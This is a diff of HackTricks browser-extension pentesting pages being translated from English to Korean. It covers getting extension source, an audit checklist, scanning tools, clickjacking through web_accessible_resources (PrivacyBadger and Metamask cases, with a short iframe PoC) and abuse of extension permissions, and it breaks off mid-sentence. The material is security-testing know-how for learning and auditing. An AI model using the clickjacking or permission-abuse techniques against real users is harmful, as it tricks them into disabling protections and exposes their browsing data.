**`Take a snapshot`**을 클릭하고 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다. -To dump memory from the browser you could **dump the process memory** or to go to the **settings** of the browser extension click on **`Inspect pop-up`** -> In the **`Memory`** section -> **`Take a snaphost`** and **`CTRL+F`** to search inside the snapshot for sensitive info. +게다가, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다**(또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다. -Moreover, highly sensitive information like mnemonic keys or passwords **shouldn't be allowed to be copied in the clipboard** (or at least remove it from the clipboard in a few seconds) because then processes monitoring the clipboard will be able to get them. +## 브라우저에 확장 프로그램 로드하기 -## Loading an Extension in the Browser +1. **브라우저 확장 프로그램을 다운로드**하고 압축을 풉니다. +2. **`chrome://extensions/`**로 가서 `개발자 모드`를 **활성화**합니다. +3. **`Load unpacked`** 버튼을 클릭합니다. -1. **Download** the Browser Extension & unzipped -2. Go to **`chrome://extensions/`** and **enable** the `Developer Mode` -3. Click the **`Load unpacked`** button +**Firefox**에서는 **`about:debugging#/runtime/this-firefox`**로 가서 **`Load Temporary Add-on`** 버튼을 클릭합니다. -In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click **`Load Temporary Add-on`** button. +## 스토어에서 소스 코드 가져오기 -## Getting the source code from the store +Chrome 확장의 소스 코드는 다양한 방법을 통해 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다. -The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option. +### 명령줄을 통해 ZIP으로 확장 프로그램 다운로드 -### Download Extension as ZIP via Command Line - -The source code of a Chrome extension can be downloaded as a ZIP file using the command line. This involves using `curl` to fetch the ZIP file from a specific URL and then extracting the contents of the ZIP file to a directory. Here are the steps: - -1. Replace `"extension_id"` with the actual ID of the extension. -2. Execute the following commands: +Chrome 확장의 소스 코드는 명령줄을 사용하여 ZIP 파일로 다운로드할 수 있습니다. 이는 `curl`을 사용하여 특정 URL에서 ZIP 파일을 가져오고, ZIP 파일의 내용을 디렉토리에 추출하는 과정을 포함합니다. 단계는 다음과 같습니다: +1. `"extension_id"`를 확장의 실제 ID로 교체합니다. +2. 다음 명령을 실행합니다: ```bash extension_id=your_extension_id # Replace with the actual extension ID curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" unzip -d "$extension_id-source" "$extension_id.zip" ``` - -### Use the CRX Viewer website +### CRX 뷰어 웹사이트 사용 [https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/) -### Use the CRX Viewer extension +### CRX 뷰어 확장 프로그램 사용 -Another convenient method is using the Chrome Extension Source Viewer, which is an open-source project. It can be installed from the [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). The source code of the viewer is available in its [GitHub repository](https://github.com/Rob--W/crxviewer). +또 다른 편리한 방법은 오픈 소스 프로젝트인 Chrome Extension Source Viewer를 사용하는 것입니다. [Chrome 웹 스토어](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en)에서 설치할 수 있습니다. 뷰어의 소스 코드는 [GitHub 저장소](https://github.com/Rob--W/crxviewer)에서 확인할 수 있습니다. -### View source of locally installed extension +### 로컬에 설치된 확장 프로그램의 소스 보기 -Chrome extensions installed locally can also be inspected. Here's how: +로컬에 설치된 Chrome 확장 프로그램도 검사할 수 있습니다. 방법은 다음과 같습니다: -1. Access your Chrome local profile directory by visiting `chrome://version/` and locating the "Profile Path" field. -2. Navigate to the `Extensions/` subfolder within the profile directory. -3. This folder contains all installed extensions, typically with their source code in a readable format. +1. `chrome://version/`를 방문하여 "Profile Path" 필드를 찾아 Chrome 로컬 프로필 디렉토리에 접근합니다. +2. 프로필 디렉토리 내의 `Extensions/` 하위 폴더로 이동합니다. +3. 이 폴더에는 모든 설치된 확장 프로그램이 포함되어 있으며, 일반적으로 읽기 가능한 형식의 소스 코드가 있습니다. -To identify extensions, you can map their IDs to names: +확장 프로그램을 식별하려면 ID를 이름에 매핑할 수 있습니다: -- Enable Developer Mode on the `about:extensions` page to see the IDs of each extension. -- Within each extension's folder, the `manifest.json` file contains a readable `name` field, helping you to identify the extension. +- `about:extensions` 페이지에서 개발자 모드를 활성화하여 각 확장 프로그램의 ID를 확인합니다. +- 각 확장 프로그램의 폴더 내에서 `manifest.json` 파일에는 읽기 가능한 `name` 필드가 포함되어 있어 확장 프로그램을 식별하는 데 도움이 됩니다. -### Use a File Archiver or Unpacker +### 파일 압축 해제기 또는 언패커 사용 -Go to the Chrome Web Store and download the extension. The file will have a `.crx` extension. Change the file extension from `.crx` to `.zip`. Use any file archiver (like WinRAR, 7-Zip, etc.) to extract the contents of the ZIP file. +Chrome 웹 스토어에 가서 확장 프로그램을 다운로드합니다. 파일은 `.crx` 확장자를 가집니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경합니다. WinRAR, 7-Zip 등과 같은 파일 압축 해제기를 사용하여 ZIP 파일의 내용을 추출합니다. -### Use Developer Mode in Chrome +### Chrome에서 개발자 모드 사용 -Open Chrome and go to `chrome://extensions/`. Enable "Developer mode" at the top right. Click on "Load unpacked extension...". Navigate to the directory of your extension. This doesn't download the source code, but it's useful for viewing and modifying the code of an already downloaded or developed extension. +Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에서 "개발자 모드"를 활성화합니다. "압축 해제된 확장 프로그램 로드..."를 클릭합니다. 확장 프로그램의 디렉토리로 이동합니다. 이는 소스 코드를 다운로드하지 않지만, 이미 다운로드되었거나 개발된 확장 프로그램의 코드를 보고 수정하는 데 유용합니다. -## Chrome extension manifest dataset - -In order to try to spot vulnerable browser extensions you could use the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) and check their manifest files for potentially vulnerable signs. For example to check for extensions with more than 25000 users, `content_scripts` and the permission `nativeMessaing`: +## Chrome 확장 프로그램 매니페스트 데이터셋 +취약한 브라우저 확장 프로그램을 찾기 위해 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하고 그들의 매니페스트 파일에서 잠재적으로 취약한 징후를 확인할 수 있습니다. 예를 들어, 25000명 이상의 사용자가 있는 확장 프로그램, `content_scripts` 및 권한 `nativeMessaging`을 확인하려면: ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" ``` +## 보안 감사 체크리스트 -## Security Audit Checklist +브라우저 확장 프로그램은 **제한된 공격 표면**을 가지고 있지만, 일부는 **취약점**이나 **잠재적인 강화 개선**을 포함할 수 있습니다. 다음은 가장 일반적인 항목입니다: -Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones: +- [ ] 요청된 **`permissions`**를 가능한 한 많이 **제한**합니다. +- [ ] **`host_permissions`**를 가능한 한 많이 **제한**합니다. +- [ ] **강력한** **`content_security_policy`**를 사용합니다. +- [ ] 필요하지 않다면 **`externally_connectable`**를 가능한 한 많이 **제한**하고, 기본값으로 두지 말고 **`{}`**로 지정합니다. +- [ ] 여기에서 **XSS 또는 인수**에 취약한 **URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다. +- [ ] **`web_accessible_resources`**를 가능한 한 많이 **제한**합니다. 가능하다면 비워두세요. +- [ ] **`web_accessible_resources`**가 없지 않다면, [**ClickJacking**](browext-clickjacking.md)을 확인합니다. +- [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, **통신에서 발생한 XSS** [**취약점**](browext-xss-example.md)을 **확인합니다**. +- [ ] Post Messages가 사용된다면, [**Post Message 취약점**](../postmessage-vulnerabilities/)**을 확인합니다.** +- [ ] **Content Script가 DOM 세부정보에 접근**하는 경우, 웹에 의해 **수정**될 때 **XSS를 도입하지 않는지** 확인합니다. +- [ ] 이 통신이 **Content Script -> Background script communication**에 관련되어 있다면 특별히 강조합니다. +- [ ] 백그라운드 스크립트가 **native messaging**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다. +- [ ] **민감한 정보는** 브라우저 확장 프로그램 **코드** 내에 저장되어서는 안 됩니다. +- [ ] **민감한 정보는** 브라우저 확장 프로그램 **메모리** 내에 저장되어서는 안 됩니다. +- [ ] **민감한 정보는** **파일 시스템에 보호되지 않은 상태로 저장되어서는 안 됩니다.** -- [ ] **Limit** as much as possible requested **`permissions`** -- [ ] **Limit** as much as possible **`host_permissions`** -- [ ] Use a **strong** **`content_security_policy`** -- [ ] **Limit** as much as possible the **`externally_connectable`**, if none is needed and possible, do not leave it by default, specify **`{}`** - - [ ] If **URL vulnerable to XSS or to takeover** is mentioned here, an attacker will be able to **send messages to the background scripts directly**. Very powerful bypass. -- [ ] **Limit** as much as possible the **`web_accessible_resources`**, even empty if possible. -- [ ] If **`web_accessible_resources`** is not none, check for [**ClickJacking**](browext-clickjacking.md) -- [ ] If any **communication** occurs from the **extension** to the **web page**, [**check for XSS**](browext-xss-example.md) **vulnerabilities** caused in the communication. - - [ ] If Post Messages are used, check for [**Post Message vulnerabilities**](../postmessage-vulnerabilities/)**.** - - [ ] If the **Content Script access DOM details**, check that they **aren't introducing a XSS** if they get **modified** by the web - - [ ] Make a special emphasis if this communication is also involved in the **Content Script -> Background script communication** - - [ ] If the background script is communicating via **native messaging** check the communication is secure and sanitized -- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **code** -- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **memory** -- [ ] **Sensitive information shouldn't be stored** inside the **file system unprotected** +## 브라우저 확장 프로그램 위험 -## Browser Extension Risks +- 앱 [https://crxaminer.tech/](https://crxaminer.tech/)는 브라우저 확장 프로그램이 요청하는 권한과 같은 데이터를 분석하여 브라우저 확장 프로그램 사용의 위험 수준을 제공합니다. -- The app [https://crxaminer.tech/](https://crxaminer.tech/) analyzes some data like the permissions browser extension requests to give a risk level of using the browser extension. - -## Tools +## 도구 ### [**Tarnish**](https://thehackerblog.com/tarnish/) -- Pulls any Chrome extension from a provided Chrome webstore link. -- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simply displays a JSON-prettified version of the extension’s manifest. -- **Fingerprint Analysis**: Detection of [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) and automatic generation of Chrome extension fingerprinting JavaScript. -- **Potential Clickjacking Analysis**: Detection of extension HTML pages with the [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) directive set. These are potentially vulnerable to clickjacking depending on the purpose of the pages. -- **Permission Warning(s) viewer**: which shows a list of all the Chrome permission prompt warnings which will be displayed upon a user attempting to install the extension. -- **Dangerous Function(s)**: shows the location of dangerous functions which could potentially be exploited by an attacker (e.g. functions such as innerHTML, chrome.tabs.executeScript). -- **Entry Point(s)**: shows where the extension takes in user/external input. This is useful for understanding an extension’s surface area and looking for potential points to send maliciously-crafted data to the extension. -- Both the Dangerous Function(s) and Entry Point(s) scanners have the following for their generated alerts: - - Relevant code snippet and line that caused the alert. - - Description of the issue. - - A “View File” button to view the full source file containing the code. - - The path of the alerted file. - - The full Chrome extension URI of the alerted file. - - The type of file it is, such as a Background Page script, Content Script, Browser Action, etc. - - If the vulnerable line is in a JavaScript file, the paths of all of the pages where it is included as well as these page’s type, and [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status. -- **Content Security Policy (CSP) analyzer and bypass checker**: This will point out weaknesses in your extension’s CSP and will also illuminate any potential ways to bypass your CSP due to whitelisted CDNs, etc. -- **Known Vulnerable Libraries**: This uses [Retire.js](https://retirejs.github.io/retire.js/) to check for any usage of known-vulnerable JavaScript libraries. -- Download extension and formatted versions. - - Download the original extension. - - Download a beautified version of the extension (auto prettified HTML and JavaScript). -- Automatic caching of scan results, running an extension scan will take a good amount of time the first time you run it. However the second time, assuming the extension hasn’t been updated, will be almost instant due to the results being cached. -- Linkable Report URLs, easily link someone else to an extension report generated by tarnish. +- 제공된 Chrome 웹스토어 링크에서 Chrome 확장을 가져옵니다. +- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장의 매니페스트의 JSON 예쁘게 정리된 버전을 간단히 표시합니다. +- **지문 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)의 감지 및 Chrome 확장 지문 생성 JavaScript의 자동 생성. +- **잠재적 Clickjacking 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시어가 설정된 확장 HTML 페이지의 감지. 이러한 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다. +- **권한 경고 뷰어**: 사용자가 확장을 설치하려고 할 때 표시될 모든 Chrome 권한 프롬프트 경고 목록을 보여줍니다. +- **위험한 함수**: 공격자가 잠재적으로 악용할 수 있는 위험한 함수의 위치를 보여줍니다(예: innerHTML, chrome.tabs.executeScript와 같은 함수). +- **진입점**: 확장이 사용자/외부 입력을 받는 위치를 보여줍니다. 이는 확장의 표면적을 이해하고 악의적으로 조작된 데이터를 확장으로 보낼 수 있는 잠재적 지점을 찾는 데 유용합니다. +- 위험한 함수 및 진입점 스캐너는 생성된 경고에 대해 다음을 포함합니다: +- 경고를 유발한 관련 코드 스니펫 및 줄. +- 문제에 대한 설명. +- 코드를 포함하는 전체 소스 파일을 보기 위한 “파일 보기” 버튼. +- 경고된 파일의 경로. +- 경고된 파일의 전체 Chrome 확장 URI. +- 파일의 유형(예: Background Page 스크립트, Content Script, Browser Action 등). +- 취약한 줄이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태. +- **Content Security Policy (CSP) 분석기 및 우회 검사기**: 확장의 CSP의 약점을 지적하고 화이트리스트된 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적인 방법을 밝혀냅니다. +- **알려진 취약한 라이브러리**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용하여 알려진 취약한 JavaScript 라이브러리의 사용 여부를 확인합니다. +- 확장 프로그램 및 형식화된 버전 다운로드. +- 원본 확장 프로그램 다운로드. +- 확장의 아름답게 정리된 버전 다운로드(자동으로 예쁘게 정리된 HTML 및 JavaScript). +- 스캔 결과의 자동 캐싱, 확장 스캔을 처음 실행할 때는 상당한 시간이 소요됩니다. 그러나 두 번째 실행 시 확장이 업데이트되지 않았다면 결과가 캐시되어 거의 즉시 완료됩니다. +- 링크 가능한 보고서 URL, 다른 사람에게 tarnish에서 생성된 확장 보고서에 쉽게 링크할 수 있습니다. ### [Neto](https://github.com/elevenpaths/neto) -Project Neto is a Python 3 package conceived to analyse and unravel hidden features of browser plugins and extensions for well-known browsers such as Firefox and Chrome. It automates the process of unzipping the packaged files to extract these features from relevant resources in a extension like `manifest.json`, localization folders or Javascript and HTML source files. +Neto 프로젝트는 Firefox 및 Chrome과 같은 잘 알려진 브라우저의 브라우저 플러그인 및 확장의 숨겨진 기능을 분석하고 풀어내기 위해 고안된 Python 3 패키지입니다. `manifest.json`, 지역화 폴더 또는 JavaScript 및 HTML 소스 파일과 같은 관련 리소스에서 이러한 기능을 추출하기 위해 패키지 파일을 압축 해제하는 프로세스를 자동화합니다. -## References +## 참고 문헌 -- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology** +- **이 방법론에 대한 도움을 주신** [**@naivenom**](https://twitter.com/naivenom) **에게 감사드립니다.** - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) - [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) - [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) @@ -755,4 +705,3 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu - [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 849cdb7a1..94bfae821 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -4,99 +4,94 @@ ## Basic Information -This page is going to abuse a ClickJacking vulnerability in a Browser extension.\ -If you don't know what ClickJacking is check: +이 페이지는 브라우저 확장에서 ClickJacking 취약점을 악용할 것입니다.\ +ClickJacking이 무엇인지 모른다면 확인하세요: {{#ref}} ../clickjacking.md {{#endref}} -Extensions contains the file **`manifest.json`** and that JSON file has a field `web_accessible_resources`. Here's what [the Chrome docs](https://developer.chrome.com/extensions/manifest/web_accessible_resources) say about it: +확장 프로그램에는 **`manifest.json`** 파일이 포함되어 있으며, 해당 JSON 파일에는 `web_accessible_resources` 필드가 있습니다. [Chrome 문서](https://developer.chrome.com/extensions/manifest/web_accessible_resources)에서는 다음과 같이 설명합니다: -> These resources would then be available in a webpage via the URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, which can be generated with the **`extension.getURL method`**. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> 이러한 리소스는 **`chrome-extension://[PACKAGE ID]/[PATH]`** URL을 통해 웹페이지에서 사용할 수 있으며, 이는 **`extension.getURL method`**로 생성할 수 있습니다. 허용된 리소스는 적절한 CORS 헤더와 함께 제공되므로 XHR과 같은 메커니즘을 통해 사용할 수 있습니다.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) -The **`web_accessible_resources`** in a browser extension are not just accessible via the web; they also operate with the extension's inherent privileges. This means they have the capability to: +브라우저 확장에서의 **`web_accessible_resources`**는 단순히 웹을 통해 접근할 수 있는 것이 아니라, 확장의 고유한 권한으로 작동합니다. 이는 다음과 같은 기능을 수행할 수 있음을 의미합니다: -- Change the extension's state -- Load additional resources -- Interact with the browser to a certain extent +- 확장의 상태 변경 +- 추가 리소스 로드 +- 브라우저와 어느 정도 상호작용 -However, this feature presents a security risk. If a resource within **`web_accessible_resources`** has any significant functionality, an attacker could potentially embed this resource into an external web page. Unsuspecting users visiting this page might inadvertently activate this embedded resource. Such activation could lead to unintended consequences, depending on the permissions and capabilities of the extension's resources. +그러나 이 기능은 보안 위험을 초래합니다. **`web_accessible_resources`** 내의 리소스가 중요한 기능을 가지고 있다면, 공격자는 이 리소스를 외부 웹 페이지에 삽입할 수 있습니다. 이 페이지를 방문하는 무심한 사용자는 이 삽입된 리소스를 우연히 활성화할 수 있습니다. 이러한 활성화는 확장 리소스의 권한과 기능에 따라 의도치 않은 결과를 초래할 수 있습니다. ## PrivacyBadger Example -In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)): - +확장 프로그램 PrivacyBadger에서는 `skin/` 디렉토리가 다음과 같이 `web_accessible_resources`로 선언된 것과 관련된 취약점이 확인되었습니다 (원본 [블로그 게시물](https://blog.lizzie.io/clickjacking-privacy-badger.html) 확인): ```json "web_accessible_resources": [ - "skin/*", - "icons/*" +"skin/*", +"icons/*" ] ``` +이 구성은 잠재적인 보안 문제를 초래했습니다. 구체적으로, 브라우저에서 PrivacyBadger 아이콘과 상호작용할 때 렌더링되는 `skin/popup.html` 파일이 `iframe` 내에 삽입될 수 있습니다. 이 삽입은 사용자가 "이 웹사이트에 대해 PrivacyBadger 비활성화"를 무심코 클릭하도록 속이는 데 악용될 수 있습니다. 이러한 행동은 PrivacyBadger 보호를 비활성화하여 사용자의 개인 정보를 위협하고, 사용자가 더 많은 추적을 받을 수 있는 상황에 처하게 합니다. 이 취약점의 시각적 시연은 [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)에서 제공된 ClickJacking 비디오 예제에서 확인할 수 있습니다. -This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). +이 취약점을 해결하기 위해 간단한 해결책이 구현되었습니다: `/skin/*`을 `web_accessible_resources` 목록에서 제거하는 것입니다. 이 변경은 `skin/` 디렉토리의 콘텐츠에 웹 접근 가능한 리소스를 통해 접근하거나 조작할 수 없도록 하여 위험을 효과적으로 완화했습니다. -To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources. - -The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**. +수정은 간단했습니다: **`web_accessible_resources`에서 `/skin/*`을 제거하십시오**. ### PoC - ```html
-

Click the button

- +

Click the button

+
``` +## Metamask 예제 -## Metamask Example - -A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example): +A [**ClickJacking에 대한 블로그 게시물은 여기에서 찾을 수 있습니다**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). 이 경우, Metamask는 접근하는 데 사용된 프로토콜이 **`https:`** 또는 **`http:`**인지 확인하여 취약점을 수정했습니다 (예: **`chrome:`**가 아님):
-**Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted. +**Metamask 확장에서 수정된 또 다른 ClickJacking**은 사용자가 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]` 때문에 페이지가 피싱으로 의심될 때 **허용 목록에 추가하기 위해 클릭**할 수 있었던 것입니다. 해당 페이지가 Clickjacking에 취약했기 때문에 공격자는 피해자가 이를 인식하지 못한 채 허용 목록에 추가하도록 클릭하게 만들기 위해 정상적인 것을 보여줄 수 있었고, 그 후 허용 목록에 추가된 피싱 페이지로 돌아갈 수 있었습니다. -## Steam Inventory Helper Example +## Steam 인벤토리 헬퍼 예제 -Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability: +브라우저 확장에서 **XSS**가 **ClickJacking** 취약점과 어떻게 연결되었는지 확인하려면 다음 페이지를 확인하세요: {{#ref}} browext-xss-example.md {{#endref}} -## References +## 참고문헌 - [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html) - [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 2021e3d7d..24efed87b 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -6,109 +6,106 @@ ### **`permissions`** -Permissions are defined in the extension's **`manifest.json`** file using the **`permissions`** property and allow access to almost anything a browser can access (Cookies or Physical Storage): +권한은 확장 프로그램의 **`manifest.json`** 파일에서 **`permissions`** 속성을 사용하여 정의되며 브라우저가 접근할 수 있는 거의 모든 것(쿠키 또는 물리적 저장소)에 대한 접근을 허용합니다: -The previous manifest declares that the extension requires the `storage` permission. This means that it can use [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to store its data persistently. Unlike cookies or `localStorage` APIs which give users some level of control, **extension storage can normally only be cleared by uninstalling the extension**. +이전 매니페스트는 확장 프로그램이 `storage` 권한을 요구한다고 선언합니다. 이는 [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 데이터를 지속적으로 저장할 수 있음을 의미합니다. 사용자에게 어느 정도의 제어를 제공하는 쿠키나 `localStorage` API와 달리, **확장 프로그램 저장소는 일반적으로 확장 프로그램을 제거해야만 지울 수 있습니다**. -An extension will request the permissions indicated in its **`manifest.json`** file and After installing the extension, you can **always check its permissions in your browser**, as shown in this image: +확장 프로그램은 **`manifest.json`** 파일에 표시된 권한을 요청하며, 확장 프로그램을 설치한 후에는 **항상 브라우저에서 권한을 확인할 수 있습니다**, 아래 이미지와 같이:
-You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +[**Chromium 브라우저 확장이 요청할 수 있는 권한의 전체 목록은 여기에서 확인할 수 있습니다**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 및 [**Firefox 확장 프로그램의 전체 목록은 여기에서 확인할 수 있습니다**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** ### `host_permissions` -The optional but powerful setting **`host_permissions`** indicates with which hosts the extension is going to be able to interact via apis such as [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), and [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). - -The following `host_permissions` basically allow every web: +선택적이지만 강력한 설정인 **`host_permissions`**는 확장 프로그램이 [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), 및 [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)와 같은 API를 통해 상호작용할 수 있는 호스트를 나타냅니다. +다음 `host_permissions`는 기본적으로 모든 웹을 허용합니다: ```json "host_permissions": [ - "*://*/*" +"*://*/*" ] // Or: "host_permissions": [ - "http://*/*", - "https://*/*" +"http://*/*", +"https://*/*" ] // Or: "host_permissions": [ - "" +"" ] ``` +이것들은 브라우저 확장 프로그램이 자유롭게 접근할 수 있는 호스트입니다. 이는 브라우저 확장 프로그램이 **`fetch("https://gmail.com/")`**를 호출할 때 CORS에 의해 제한되지 않기 때문입니다. -These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS. +## `permissions` 및 `host_permissions` 악용 -## Abusing `permissions` and `host_permissions` +### 탭 -### Tabs - -Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of user’s browser tabs** back but also learn which **web page (meaning address and title) is loaded**. +게다가, **`host_permissions`**는 “고급” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **기능을 잠금 해제합니다.** 이들은 확장 프로그램이 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)를 호출하여 **사용자의 브라우저 탭 목록**을 가져오고 어떤 **웹 페이지(주소 및 제목)가 로드되었는지** 알 수 있게 합니다. > [!CAUTION] -> Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab. +> 뿐만 아니라, [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **와 같은 리스너도 훨씬 더 유용해집니다.** 이들은 새로운 페이지가 탭에 로드될 때마다 알림을 받습니다. -### Running content scripts +### 콘텐츠 스크립트 실행 -Content scripts aren’t necessarily written statically into the extension manifest. Given sufficient **`host_permissions`**, **extensions can also load them dynamically by calling** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **or** 